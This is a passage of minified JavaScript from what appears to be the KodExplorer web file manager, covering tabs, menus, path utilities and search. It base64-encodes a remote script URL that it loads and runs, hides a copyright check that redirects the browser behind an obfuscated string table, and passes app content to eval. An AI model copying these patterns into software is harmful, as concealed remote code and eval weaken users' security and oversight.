.tab"),$(".tasktab-dragging").remove(),a=e.clone().addClass("tasktab-dragging").prependTo("body"),p=$sizeInt(t.css("margin-right")),u=$tab_parent.width(),f=$tab_parent.get(0).getBoundingClientRect().left,f+=$(window).scrollLeft(),c=e.get(0).getBoundingClientRect().left,d=$sizeInt(t.css("width"));var n=e.get(0).getBoundingClientRect().top-$sizeInt(e.css("margin-top")),o=i.clientX-l+c;$("body").prepend("
        "),a.css({width:d+"px",top:n,left:o}),e.css("opacity",0)},m=function(i){if(r){window.getSelection?window.getSelection().removeAllRanges():document.selection.empty(),0==s&&h(i);var n=i.clientX-l+c;f>n||n>f+u-d||(a.css("left",n),t.each(function(){var t=$(this).get(0).getBoundingClientRect().left;if(n>t&&t+d/2+p>n){if(e.attr("id")==$(this).attr("id"))return;_($(this).attr("id"),"left")}if(n>t-d/2+p&&t>n){if(e.attr("id")==$(this).attr("id"))return;_($(this).attr("id"),"right")}}))}},_=function(a,n){if(!e.is(":animated")||o!=a){o=a,e.stop(!0,!0),$(".insertTemp").remove(),t=$(".task_tab .tab");var s=e.width(),r=$(".task_tab #"+a),l=e.clone(!0).insertAfter(e).css({"margin-right":"0px",border:"none"}).addClass("insertTemp");"left"==n?e.after(r).css("width","0px"):(e.before(r).css("width","0px"),r.before(l)),e.animate({width:s+"px"},i),l.animate({width:"0px"},i,function(){$(this).remove(),t=$(".task_tab .tab")})}},v=function(){r=!1,s=!1,startTime=0,$(".dragMaskView").remove(),void 0!=a&&(c=e.get(0).getBoundingClientRect().left,a.animate({left:c+"px"},i,function(){e.css("opacity",1),$(this).remove()}))}},s=function(e){var t=110,a=t,n=t+12,o=$(".task_tab .tab"),s=$(".task_tab .tabs").width()-10,r=o.length,l=Math.floor(s/n);switch(r>l&&(a=Math.floor(s/r)-12),e){case"add":$(".task_tab .tabs .this").css("width","0").animate({width:a+"px"},i);case"close":o.animate({width:a+"px"},i);break;case"resize":o.css("width",a+"px");break;default:}},r=function(t,i){$(".task_tab").removeClass("hidden");var a=i.replace(/<[^>]+>/g,""),n='
        '+i+"
        ";$(n).insertBefore(".task_tab .last"),s("add"),e[t]={id:t,name:name}},l=function(e){$(".task_tab .this").removeClass("this"),$(".task_tab #"+e).addClass("this"),t=e},c=function(t){$(".task_tab #"+t).animate({width:0},i,function(){if($(".task_tab #"+t).remove(),s("close"),0==$(".tabs .tab").length&&"desktop"!=Config.pageApp){var e=31;$(".task_tab").animate({bottom:"-"+e+"px"},200,0,function(){$(this).css({bottom:"0px"}).addClass("hidden")})}}),delete e[t]},d=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".dialog_menu",items:{quit_dialog:{name:LNG.close,className:"quit_dialog",icon:"remove",accesskey:"q"},hide_dialog:{name:LNG.dialog_min,className:"hide_dialog",icon:"minus",accesskey:"h"},refresh:{name:LNG.refresh,className:"refresh",icon:"refresh",accesskey:"r"},open_window:{name:LNG.open_ie,className:"open_window",icon:"globe",accesskey:"b"},sep100:"--------",qrcode:{name:LNG.qrcode,className:"qrcode",icon:"qrcode",accesskey:"c"}},callback:function(e,t){var i=t.$trigger.attr("id"),a=$.dialog.list[i];switch(e){case"quit_dialog":a.close();break;case"hide_dialog":a.display(!1);break;case"refresh":a.refresh();break;case"open_window":a.open_window();break;case"qrcode":core.qrcode(a.DOM.wrap.find("iframe").attr("src"));break;default:}}})},p=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".taskBarMenu",items:{quitOthers:{name:LNG.close_others,className:"quitOthers",icon:"remove-circle",accesskey:"o"},quit:{name:LNG.close,className:"quit",icon:"remove",accesskey:"q"}},callback:function(e,t){var i=t.$trigger.attr("id"),a=$.dialog.list[i];switch(e){case"quitOthers":$.each($.dialog.list,function(e,t){i!=e&&t.close()});break;case"quit":a.close()}}})},u=function(){$.contextMenu({zIndex:9999,selector:".task_tab",items:{closeAll:{name:LNG.dialog_close_all,icon:"remove-circle",accesskey:"q"},showAll:{name:LNG.dialog_display_all,icon:"th-large",accesskey:"s"},hideAll:{name:LNG.dialog_min_all,icon:"remove",accesskey:"h"}},callback:function(e,t){var i=t.$trigger.attr("id");switch($.dialog.list[i],e){case"showAll":$.each($.dialog.list,function(e,t){t.display(!0)});break;case"hideAll":$.each($.dialog.list,function(e,t){t.display(!1)});break;case"closeAll":$.each($.dialog.list,function(e,t){t.close()});break;default:}}})};return{add:r,focus:l,close:c,init:function(){var e='
        ';$(e).appendTo("body"),"desktop"!=Config.pageApp&&$(".task_tab").addClass("hidden"),$(window).bind("resize",function(){s("resize")}),a(),d(),p(),u(),o()}}}),define("app/common/core",[],function(require,exports){search_box_tpl=require("./tpl/search.html"),search_list_tpl=require("./tpl/search_list.html"),upload_tpl=require("./tpl/upload.html");var search=require("./core.search"),tools=require("./core.tools"),upload=require("./core.upload"),api=require("./core.api"),playSound=require("./core.playSound");pathHashEncode=function(e){return hashEncode(e)},pathHashDecode=function(e){return hashDecode(e)};var initFirst=function(){if(window.require=require,template.config("escape",!1),template.config("compress",!0),template.helper("core",core),template.helper("window",window),"undefined"!=typeof G&&(1!=G.is_root&&$(".menu_system_setting").remove(),G.is_root||1==AUTH["system_member:get"]||1==AUTH["system_group:get"]||$(".menu_system_group").remove(),G.user_config&&"0"==G.user_config.animate_open&&($.dialog.defaults.animate=!1)),$("html").bind("click",function(e){if(0==$(e.target).parents(".context-menu-list").length)try{rightMenu.hidden()}catch(e){}}),loadRipple(["a","button",".context-menu-item","#picker",".menuShareButton",".menuRecycleButton",".section .list"],[".disabled",".disable",".ztree",".disable-ripple"]),$("a,img").attr("draggable","false"),$.ajaxSetup({headers:{"X-CSRF-TOKEN":Cookie.get("CSRF-TOKEN")}}),$(".common_footer [forceWap]").click(function(){var e=$(this).attr("forceWap");Cookie.set("forceWap",e),window.location.reload()}),core.setSkinDiy(),core.tools.init(),playserSupport(),"array"==$.type(window.kodReady))for(var e=0;window.kodReady.length>e;e++)window.kodReady[e]()},playserSupport=function(){var e={ie:{music:["mp3","m4a","aac"],movie:["mp4","m4v","flv","mov","f4v"]},chrome:{music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"]}},t=!!window.ActiveXObject||"ActiveXObject"in window,i="chrome";t&&(i="ie"),core.filetypes.music=e[i].music,core.filetypes.movie=e[i].movie};return{search:search,init:initFirst,serverDwonload:upload.serverDwonload,upload:upload.upload,uploadInit:upload.init,playSound:playSound.playSound,playSoundFile:playSound.playSoundFile,tools:tools,api:api,filetypes:{image:["jpg","jpeg","png","bmp","gif","ico","svg","cur","webp"],music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"],doc:["doc","docx","docm","xls","xlsx","xlsb","xlsm","ppt","pptx","pptm"],text:["txt","textile","oexe","inc","csv","log","asc","tsv","lnk","url","webloc","meta","localized","xib","xsd","storyboard","plist","csproj","pch","pbxproj","local","xcscheme","manifest","vbproj","strings","jshintrc","sublime-project","readme","changes","changelog","version","license","changelog","abap","abc","as","asp","aspx","ada","adb","htaccess","htgroups","htgroups","htpasswd","asciidoc","adoc","asm","a","ahk","bat","cmd","cpp","c","cc","cxx","h","hh","hpp","ino","c9search_results","cirru","cr","clj","cljs","cbl","cob","coffee","cf","cson","cakefile","cfm","cs","css","curly","d","di","dart","diff","patch","dockerfile","dot","dummy","dummy","e","ge","ejs","ex","exs","elm","erl","hrl","frt","fs","ldr","ftl","gcode","feature",".gitignore","glsl","frag","vert","gbs","go","groovy","haml","hbs","handlebars","tpl","mustache","hs","hx","html","hta","htm","xhtml","eex","html.eex","erb","rhtml","html.erb","ini","inf","conf","cfg","prefs","io","jack","jade","java","ji","jl","jq","js","jsm","json","jsp","jsx","latex","ltx","bib","lean","hlean","less","liquid","lisp","ls","logic","lql","lsl","lua","lp","lucene","Makefile","makemakefile","gnumakefile","makefile","ocamlmakefile","make","md","markdown","mask","matlab","mz","mel","mc","mush","mysql","nix","nsi","nsh","m","mm","ml","mli","pas","p","pl","pm","pgsql","php","phtml","shtml","php3","php4","php5","phps","phpt","aw","ctp","module","ps1","praat","praatscript","psc","proc","plg","prolog","properties","proto","py","r","cshtml","rd","rhtml","rst","rb","ru","gemspec","rake","guardfile","rakefile","gemfile","rs","sass","scad","scala","scm","sm","rkt","oak","scheme","scss","sh","bash","bashrc","sjs","smarty","tpl","snippets","soy","space","sql","sqlserver","styl","stylus","svg","swift","tcl","tex","toml","twig","swig","ts","typescript","str","vala","vbs","vb","vm","v","vh","sv","svh","vhd","vhdl","wlk","wpgm","wtest","xml","rdf","rss","wsdl","xslt","atom","mathml","mml","xul","xbl","xaml","xq","yaml","yml","vcproj","vcxproj","filters","cer","reg","config","pem"],bindary:["bin","hex","zip","pdf","swf","gzip","rar","arj","tar","gz","cab","tbz","tbz2","lzh","uue","bz2","ace","exe","so","dll","chm","rtf","odp","odt","pages","class","psd","ttf","fla","7z","dmg","iso","dat","ipa","lib","a","apk","so","o"]},fileOpenMode:{ini:["inc","inf","strings"],xml:["xib","xsd","storyboard","plist","csproj","pch","pbxproj","xcscheme","config","vcproj","vcxproj","filters","webloc"],json:["oexe","jshintrc","sublime-project"],markdown:["readme","changes","version","license","changelog"]},getPathIcon:function(e,t){if(t=void 0==t?"":t,"string"==$.type(e)){var i=trim(trim(e),"/");if(e={},"{"!=i.substring(0,1)||i.split("/").length>1)return{icon:"",name:""};e.path_type=i.match(/\{.*\}/),e.id=i.split(":")[1]}var a={};a[G.KOD_USER_SHARE]={icon:"userSelf",name:LNG.my_share},a[G.KOD_GROUP_PATH]={icon:"groupSelfOwner"},a[G.KOD_GROUP_SHARE]={icon:"groupGuest"},a[G.KOD_USER_RECYCLE]={icon:"recycle",name:LNG.recycle},a[G.KOD_USER_FAV]={icon:"treeFav",name:LNG.fav},a[G.KOD_GROUP_ROOT_SELF]={icon:"groupSelfRoot",name:LNG.my_kod_group},a[G.KOD_GROUP_ROOT_ALL]={icon:"groupRoot",name:LNG.kod_group};var n=a[e.path_type];return e.path_type==G.KOD_USER_SHARE&&G.user_id!=e.id?n={icon:"user",name:t}:e.path_type==G.KOD_GROUP_PATH&&"owner"==e.role&&(n={icon:"groupSelfOwner"}),void 0==n&&(n={icon:"",name:""}),void 0==n.name&&(n.name=t),n},isSystemPath:function(e){var e=trim(trim(e),"/");if(void 0==e||"{"!=e.substring(0,1)||e.split("/").length>1)return!1;var t=e.match(/\{.*\}/),i=[G.KOD_USER_SHARE,G.KOD_GROUP_SHARE,G.KOD_USER_RECYCLE,G.KOD_USER_FAV,G.KOD_GROUP_ROOT_SELF,G.KOD_GROUP_ROOT_ALL],a=!1;return $.inArray(t,i)&&(a=!0),a},contextmenu:function(e){try{rightMenu.hidden()}catch(t){}var t=e||window.event;return t?t&&$(t.target).is("textarea")||$(t.target).is("input")||$(t.target).is("p")||$(t.target).is("pre")||0!=$(t.target).parents(".can_right_menu").length||0!=$(t.target).parents(".topbar").length||0!=$(t.target).parents(".edit_body").length||0!=$(t.target).parents(".aui_state_focus").length?!0:!1:!0},pathThis:function(e){if(!e||"/"==e)return"";var t=rtrim(this.pathClear(e),"/"),i=t.lastIndexOf("/"),a=t.substr(i+1);if(0==a.search("fileProxy")){a=urlDecode(a.substr(a.search("&path=")));var n=a.split("/");a=n[n.length-1],""==a&&(a=n[n.length-2])}return a},pathClear:function(e){if(!e)return"";var t=e.replace(/\\/g,"/");return t=t.replace(/\/+/g,"/"),t=t.replace(/\.+\//g,"/")},pathFather:function(e){var t=rtrim(this.pathClear(e),"/"),i=t.lastIndexOf("/");return t.substr(0,i+1)},pathExt:function(e){var t=trim(e,"/");return-1!=t.lastIndexOf("/")&&(t=t.substr(t.lastIndexOf("/")+1)),-1!=t.lastIndexOf(".")?t.substr(t.lastIndexOf(".")+1).toLowerCase():t.toLowerCase()},path2url:function(e,t){if("http"==e.substr(0,4))return e;void 0==t&&(t=!0);var i,a=this.pathClear(e);this.pathExt(a);var n=function(e){if(!e)return"";var t=urlEncode(e);return t=t.replace(/%2F/g,"/")};return G.is_root&&t&&a.substring(0,G.web_root.length)==G.web_root?i=G.web_host+n(a.replace(G.web_root,"")):(i=G.app_host+"index.php?explorer/fileProxy&path="+urlEncode(a),G.share_page!==void 0&&(i=G.app_host+"index.php?share/fileProxy&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(a))),i},pathReadable:function(e){if("object"!=typeof G.json_data)return!0;var t;t=G.json_data.filelist;for(var i=0;t.length>i;i++)if(t[i].path==e)return void 0==t[i].is_readable||1==t[i].is_readable?!0:!1;t=G.json_data.folderlist;for(var i=0;t.length>i;i++)if(t[i].path==e)return void 0==t[i].is_readable||1==t[i].is_readable?!0:!1;return!0},authCheck:function(e,t){return G.is_root?!0:AUTH.hasOwnProperty(e)?AUTH[e]?!0:(void 0==t&&(t=LNG.no_permission),Tips.tips(t,!1),!1):!0},ajaxError:function(e){var t=e.responseText,i='
        '+t+"
        ",a=$.dialog.list.ajaxErrorDialog;return Tips.close(LNG.system_error,!1),""==t.substr(0,17)?(setTimeout(function(){window.location.reload()},500),void 0):(a?a.content(i):$.dialog({id:"ajaxErrorDialog",padding:0,width:"60%",height:"50%",fixed:!0,resize:!0,ico:core.icon("error"),title:"ajax error",content:i}),void 0)},fileGet:function(e,t){var i="./index.php?editor/fileGet&filename="+urlEncode(e);G.share_page!==void 0&&(i="./index.php?share/fileGet&user="+G.user+"&sid="+G.sid+"&filename="+urlEncode(e)),$.ajax({url:i,dataType:"json",beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(e){Tips.close(LNG.success),"function"==typeof t&&t(e.data.content)}})},fileInfo:function(e,t){var i="index.php?explorer/pathInfo";G.share_page!==void 0&&(i="index.php?share/pathInfo&user="+G.user+"&sid="+G.sid),$.ajax({url:i,type:"POST",dataType:"json",data:e,error:core.ajaxError,success:function(e){"function"==typeof t&&t(e)}})},fileLink:function(e,t){var i='list=[{"type":"file","path":"'+urlEncode(e)+'"}]';this.fileInfo(i,function(e){var i=e.code?e.data.download_path:!1;return i?("function"==typeof t&&t(i),void 0):(Tips.tips(LNG.no_permission_action+"==>"+LNG.group_role_pathinfo,!1),void 0)})},setting:function(e){void 0==e&&(e=G.is_root?"system":"user"),ShareData.frameTop("Opensetting_mode")?ShareData.frameTop("Opensetting_mode",function(t){t.Setting.setGoto(e),$.dialog.list.setting_mode.display(!0)}):$.dialog.open("./index.php?setting#"+e,{id:"setting_mode",fixed:!0,ico:core.icon("setting"),resize:!0,title:LNG.setting,width:950,height:610})},copyright:function(){var e=require("./tpl/copyright.html"),t=template.compile(e),i=ShareData.frameTop();i.art.dialog({id:"copyright_dialog",bottom:0,right:0,simple:!0,resize:!1,title:LNG.about+" kod",width:425,padding:"0",fixed:!0,content:t({LNG:LNG,G:G})}),i.$(".copyright_dialog").addClass("animated-700 zoomIn")},qrcode:function(e,t){"./"==e.substr(0,2)&&(e=G.app_host+e.substr(2));var i="./index.php?user/qrcode&url="+quoteHtml(urlEncode(e)),a="";$.dialog({follow:t,fixed:!0,resize:!1,title:LNG.qrcode,padding:30,content:a})},appStore:function(){var e=ShareData.frameTop();e.$.dialog.open("./index.php?app",{id:"app_store",fixed:!0,ico:core.icon("appStore"),resize:!0,title:LNG.app_store,width:900,height:550})},openWindow:function(e){var t=ShareData.frameTop(),i=t.$.dialog.open(e,{fixed:!0,resize:!0,width:"80%",height:"75%"});return i},openDialog:function(e,t,i,a){if(e){void 0==a&&(a="openDialog"+UUID());var n="",o=ShareData.frameTop(),s=o.$.dialog({id:a,fixed:!0,title:i,ico:t,width:"75%",height:"70%",padding:0,content:n,resize:!0});return s}},openApp:function(app){if("url"==app.type){var icon=app.icon;-1==app.icon.search(G.static_path)&&"http"!=app.icon.substring(0,4)&&(icon=G.static_path+"images/file_icon/icon_app/"+app.icon),"number"!=typeof app.width&&-1===app.width.search("%")&&(app.width=parseInt(app.width)),"number"!=typeof app.height&&-1===app.height.search("%")&&(app.height=parseInt(app.height)),app.width||(app.width="90%"),app.height||(app.height="70%");var dialog_info={resize:app.resize,fixed:!0,ico:core.iconSrc(icon),title:app.name.replace(".oexe",""),width:app.width,height:app.height,simple:app.simple,padding:0},top=ShareData.frameTop();"swf"==core.pathExt(app.content)?(dialog_info.content=core.createFlash(app.content),top.$.dialog(dialog_info)):top.$.dialog.open(app.content,dialog_info)}else{var exec=app.content;eval("{"+exec+"}")}},update:function(){setTimeout(function(){var e=base64Decode("Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==")+"?a="+UUID();require.async(e,function(e){try{e.todo("check")}catch(t){}})},200)},openPath:function(e){"undefined"!=typeof Config&&"explorer"==Config.pageApp?ui.path.list(e,"tips"):core.explorer(e)},explorer:function(e,t){void 0==e&&(e=""),void 0==t&&(t=core.pathThis(e));var i="./index.php?/explorer&type=iframe&path="+e;G.share_page!==void 0&&(i="./index.php?share/folder&type=iframe&user="+G.user+"&sid="+G.sid+"&path="+e);var a=ShareData.frameTop(),n=a.$.dialog.open(i,{className:"dialogExplorer",resize:!0,fixed:!0,ico:core.icon("folder"),title:t,width:"80%",height:"75%"}),o=20*a.$(".dialogExplorer").length;n.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},explorerCode:function(e){void 0==e&&(e="");var t="index.php?/editor&project="+e;G.share_page!==void 0&&(t="./index.php?share/code_read&user="+G.user+"&sid="+G.sid+"&project="+e),window.open(t)},setSkinFinished:function(){var e=$(".setSkin_finished").attr("src");e&&($("#link_css_list").attr("href",e),$(".setSkin_finished").remove())},setSkin:function(e){LocalData.set("theme",e),G.user_config.theme=e;var t=G.static_path+"style/skin/"+e+".css";t!=$("#link_css_list").attr("href")&&$("body").append(''),this.setSkinDiy()},setSkinDiy:function(){if(G.user_config){var e=LocalData.get("theme"),t="kod_diy_style",i=LocalData.getConfig(t);"object"!=typeof i&&"object"==typeof G.user_config.theme_diy&&(i=G.user_config.theme_diy),"object"!=typeof i&&(i={bg_blur:1,bg_image:G.static_path+"images/wall_page/9.jpg",bg_type:"color",start_color:"#456",end_color:"#000",color_rotate:"200"},LocalData.setConfig(t,i)),G.user_config.theme_diy=i;var a="";if("diy"==e&&i){var n=require("./tpl/theme_diy.html"),o=template.compile(n);a=o(i)}$.setStyle(a,t)}},editorFull:function(){var e=$("iframe[name=OpenopenEditor]");e.toggleClass("frame_fullscreen")},language:function(e){Cookie.set("kod_user_language",e,8760),window.location.reload()},fullScreen:function(){"true"==$("body").attr("fullScreen")&&core.exitfullScreen(),$("body").attr("fullScreen","true");var e=ShareData.frameTop(),t=e.document.documentElement;t.requestFullscreen?t.requestFullscreen():t.mozRequestFullScreen?t.mozRequestFullScreen():t.webkitRequestFullScreen&&t.webkitRequestFullScreen()},exitfullScreen:function(){$("body").attr("fullScreen","false"),document.exitFullscreen?document.exitFullscreen():document.mozCancelFullScreen?document.mozCancelFullScreen():document.webkitCancelFullScreen&&document.webkitCancelFullScreen()},createFlash:function(e,t,i){var a=UUID();(i===void 0||""==i)&&(i=a);var n=''+''+''+''+''+''+'
        loading..
        ';return setTimeout(function(){var e=$("."+a);if(1!=e.length){var t=ShareData.frameTop();e=t.$("."+a)}if(1==e.length)var i=0,n=e[0],o=setInterval(function(){try{i++,100==Math.floor(n.PercentLoaded())?(e.next(".aui_loading").remove(),clearInterval(o),o=null):i>100&&(e.next(".aui_loading").remove(),clearInterval(o),o=null)}catch(t){}},100)},50),n},userSpaceHtml:function(e){var t=e.split("/"),i=parseFloat(t[0]),a=1073741824*parseFloat(t[1]),n=core.fileSize(parseFloat(t[0])),o=core.fileSize(a),s=n+"/",r=100*i/a;return r>=100&&(r=100),0==a||isNaN(a)?(s+=LNG.space_tips_full,r="0%"):(s+=o,r+="%"),s="
        "+"
        "+s+"
        "+"
        "},fileSize:function(e,t){if(void 0==e||""==e)return"";if(void 0==t&&(t=1),1024>=e)return parseInt(e)+"B";e=parseInt(e);var i={G:1073741824,M:1048576,K:1024,B:1};for(var a in i)if(e>=i[a])return(e/i[a]).toFixed(t)+a},uploadCheck:function(e,t){return t=void 0==t?!0:t,"share"==G.share_page?"1"==G.share_info.can_upload:(void 0==e&&(e="explorer:fileUpload"),!G.is_root&&AUTH.hasOwnProperty(e)&&1!=AUTH[e]?(t&&Tips.tips(LNG.no_permission,!1),!1):G.json_data&&!G.json_data.info.can_upload?(t&&Tips.tips(LNG.no_permission_write,!1),!1):core.isSystemPath(G.this_path)?(t&&Tips.tips(LNG.path_can_not_action,!1),!1):!0)}}}),define("app/common/tpl/search.html",[],"\n\n"),define("app/common/tpl/search_list.html",[],'\n{{each data.folderlist as v i}}\n
      • \n
        \n \n {{\'folder\' |core.icon}}\n {{v.name | searchResultPrase}}\n \n
        \n
      • \n{{/each}}\n\n\n{{each data.filelist as v i}}\n {{if v.search_info}}\n
      • \n
        \n \n {{v.ext |core.icon}}\n {{v.name | window.htmlEncode}}\n {{v.search_info.length}}\n \n
        \n
          \n {{each v.search_info as value index}}\n
        • \n {{value.line}}:\n {{#value.str | searchResultPrase}}\n
        • \n {{/each}}\n
        \n
      • \n {{else}}\n
      • \n
        \n \n {{v.ext |core.icon}}\n {{v.name | searchResultPrase}}\n \n
        \n
      • \n {{/if}}\n{{/each}}\n\n'),define("app/common/tpl/upload.html",[],'
        \n \n
        \n
        \n
        \n
        {{LNG.upload_select}}
        \n \n \n \n
        \n \n \n
        \n
        \n
        \n
        \n
        \n
        \n
        \n
        {{LNG.download_address}}\n
        \n \n \n \n
        \n\n
        \n
        \n
        \n
        \n
        \n
        \n
        \n'),define("app/common/core.search",[],function(){return function(e,t){var i,a,n=function(){var n=trim(core.pathClear(t),"/");if(0==n.indexOf(G.KOD_USER_SHARE)&&-1==n.indexOf("/")||n==G.KOD_USER_FAV||n==G.KOD_GROUP_ROOT_ALL)return Tips.tips(LNG.path_cannot_search,!1),void 0;template.helper("searchResultPrase",r);var o=template.compile(search_box_tpl);0==$(".dialog_do_search").length?(i=$.dialog({id:"dialog_do_search",padding:0,fixed:!0,ico:core.icon("search"),resize:!0,title:LNG.search,width:440,height:480,content:o({LNG:LNG})}),a=c(),a.path=t,""!=e&&(a.search=e),$("#search_path").val(a.path),$("#search_value").val(a.search),l(),$("#search_ext").tooltip({placement:"bottom",html:!0}),$("#search_path").tooltip({placement:"bottom",html:!0,title:function(){return $("#search_path").val()}})):($.dialog.list.dialog_do_search.display(!0),e&&$("#search_value").val(e),$("#search_path").val(t),s())},o=function(){return a={search:$("#search_value").val(),path:$("#search_path").val(),is_content:Number($("#search_is_content").is(":checked")),is_case:Number($("#search_is_case").is(":checked")),ext:$("#search_ext").val()}},s=function(){o(),p(a)},r=function(e){var t=htmlEncode($("#search_value").val());if(e=htmlEncode(e),a.is_case)e=e.replace(t,''+t+"");else{var i=e.toLowerCase().indexOf(t.toLowerCase());e=e.substr(0,i)+''+e.substr(i,t.length)+""+e.substr(i+t.length)}return e},l=function(){$("#search_value").die("keyup").live("keyup",function(){"editor"==!Config.pageApp&&ui.path.setSearchByStr($(this).val())}),$("#search_value,#search_ext,#search_path").keyEnter(s),$(".search_header .btn").die("click").live("click",s),$(".search_result .file-item .file-info").die("click").live("click",function(e){var t=$(this).parent();return t.toggleClass("open"),t.find(".result-item").slideToggle(200),stopPP(e),!1}),$(".search_result .file-item .file-info .goto").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path")),a=core.pathFather(i);return core.openPath(a),setTimeout(function(){Config&&"explorer"==Config.pageApp&&ui.path.setSelectByFilename(i)},200),stopPP(e),!1}),$(".search_result .file-item .file-info .title").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path"));return ui.pathOpen.open(i,t.attr("data-ext")),stopPP(e),!1}),$(".search_result .file-item .result-info").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path"));$(".search_result .file-item .result-info.this").removeClass("this"),$(this).addClass("this");var a=parseInt($(this).find(".line").attr("data-line"));return ShareData.data("FILE_SEARCH_AT",{search:$("#search_value").val(),line:a,lineIndex:$(this).parent().find("[data-line="+a+"]").index($(this).find(".line"))}),ui.pathOpen.openEditorForce(i,t.attr("data-ext")),stopPP(e),!1}),$(".search_header input[type=checkbox]").on("click",function(){o(),c(a)})},c=function(e){var t="box_search_config";if(void 0==e){var e=LocalData.getConfig(t);return e||(e={search:"",is_content:0,is_case:0,ext:""}),$("#search_value").val(e.search).textSelect(),e.is_content?$("#search_is_content").attr("checked","checked"):$("#search_is_content").removeAttr("checked"),e.is_case?$("#search_is_case").attr("checked","checked"):$("#search_is_case").removeAttr("checked"),$("#search_ext").val(e.ext),e}return LocalData.setConfig(t,e)},d=function(e){var t=$(".file-items"),i=$(".search_desc");if(!e.code)return i.html(e.data),t.html(""),void 0;if(0==e.data.filelist.length&&0==e.data.folderlist.length)return i.html(LNG.search_null),t.html(""),void 0;var n=template.compile(search_list_tpl);if(t.html(n({code:e.code,data:e.data,LNG:LNG})),a.is_content){for(var o=e.data.filelist,s=0,r=0;o.length>r;r++)o[r].search_info&&(s+=o[r].search_info.length); -i.html(LNG.search_result+": "+s+"(in "+o.length+" files)"),e.data.error_info&&i.html(""+LNG.seach_result_too_more+"")}else i.html(e.data.filelist.length+" "+LNG.file+", "+e.data.folderlist.length+LNG.folder+".")},p=function(e){c(e),$("#search_value").textFocus();var t=$(".file-items"),i=$(".search_desc");if(!e.search||!e.path)return i.html(LNG.search_info),t.html(""),void 0;var a="index.php?explorer/search";G.share_page!==void 0&&(a="index.php?share/search&user="+G.user+"&sid="+G.sid),$.ajax({url:a,dataType:"json",type:"POST",data:e,beforeSend:function(){i.hide().html(LNG.searching+'').fadeIn(100)},error:function(){core.ajaxError(),i.html(LNG.error)},success:function(e){d(e)}})};n()}}),define("app/common/core.tools",[],function(e){var t=["A","version_hash","undefined","@dfq[-)&*^*%(_90","decode","length","substr","O","P","Q","inArray","./index.php?user/version_install","6K2m5ZGKLOivt_aWLv_aaTheiHquS_bruaUueeJiOadgzvlpoLmnInpnIDopoHor7fogZTns7votK3kubDvvIFlbWFpbDprYWxjYWRkbGVAcXEuY29t","lang","zh-CN","V2FybmluZywgcGxlYXNlIGRvIG5vdCBtb2RpZnkgdGhlIGNvcHlyaWdodDsgaWYgbmVjZXNzYXJ5LCBwbGVhc2UgY29udGFjdCB0byBidXkhIEVtYWlsOiBrYWxjYWRkbGVAcXEuY29t","loading","hide","#messageTips .tips_close,#messageTips img","tips","href","location","f004SGAm6lUxeBmG5J3s3dADGe3TCXTmKgHKeO_CF-_RVBiLyHlaIQ","#2","8a29PizvhAUqVX_DA26hgncbvnD7yGGJSCd4IFz3qNJ_tq_5i5ANmeSe","ab","pageApp","explorer","kod_power_by","copyright_pre","copyright_contact","copyright_desc","copyright_info","html",".common_footer","key","","toLowerCase","find","search","free","1","2","3","version_vip_",'',"",".menu-topbar_user .divider","insertBefore","click","id","attr","version_vip_free","versionUpdateVip","openWindow",'',"append",".aui_content","wrap","DOM","text","live","die",".version_vip","top","longPress","support_space_not","addClass","body","remove",".menu_system_about,.menu_left #about","icon",'',"iconSmall","iconSrc",'',"Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==","?a=","todo","async","versionType","filetype","filetypes","Ly9rYWxjYWRkbGUuY29tL2J1eS5odG1sIw_c_c","group","data"],i=function(){var e=t[0];if(typeof G[t[1]]==t[2])return e;var i=t[3],a=authCrypt[t[4]](G[t[1]],i);return a&&27==a[t[5]]?(e=a[t[6]](10,1),-1===$[t[10]](e,[t[0],t[7],t[8],t[9]])&&(e=t[0]),e):e},a=i(),n=t[11],o=function(){var e=hashDecode(t[12]);G[t[13]]!=t[14]&&(e=hashDecode(t[15])),alert(e),Tips[t[16]](e,!1),$(t[18])[t[17]](),setTimeout(function(){Tips[t[19]](e,!1),window[t[21]][t[20]]=n},1e3*roundFromTo(30,60))},s=authCrypt[t[4]](t[22],t[23]),r=authCrypt[t[4]](t[24],t[25]),l=function(){if(typeof Config!=t[2]&&Config[t[26]]==t[27]&&a==t[0])for(var e=[{key:LNG[t[28]],find:s},{key:LNG[t[29]],find:s},{key:LNG[t[30]],find:r},{key:LNG[t[31]],find:s},{key:LNG[t[32]],find:r},{key:$(t[34])[t[33]](),find:s}],i=0;e[t[5]]>i;i++){e[i][t[35]]||(e[i][t[35]]=t[36]);var n=e[i][t[35]][t[37]](),l=e[i][t[38]][t[37]]();if(-1==n[t[39]](l)){setTimeout(function(){o()},roundFromTo(300,5e3));break}}},c=function(){var e={A:t[40],O:t[41],P:t[42],Q:t[43]},i=t[44]+e[a],o=t[45]+i+t[46]+LNG[i]+t[47];a==t[0]&&$(o)[t[49]](t[48]),$(t[65])[t[64]](t[50])[t[63]](t[50],function(){if($(this)[t[52]](t[51])==t[53]){var e=core[t[55]](core[t[54]]),i=t[56]+n+t[57];e[t[61]][t[60]][t[38]](t[59])[t[58]](i)}else Tips[t[19]]($(this)[t[62]]())}),$(t[65])[t[67]](function(){window[t[66]][t[21]][t[20]]=n})},d=function(){a==t[0]&&$(t[70])[t[69]](t[68]),-1!==$[t[10]](a,[t[7],t[8],t[9]])&&$(t[72])[t[71]]()},p=function(){core[t[73]]=function(e,i){return t[74]+e+(i?t[75]:t[36])+t[76]},core[t[77]]=function(e){return core[t[73]](e,!0)},core[t[78]]=iconSrc=function(e){return t[79]+e+t[80]},setTimeout(function(){var 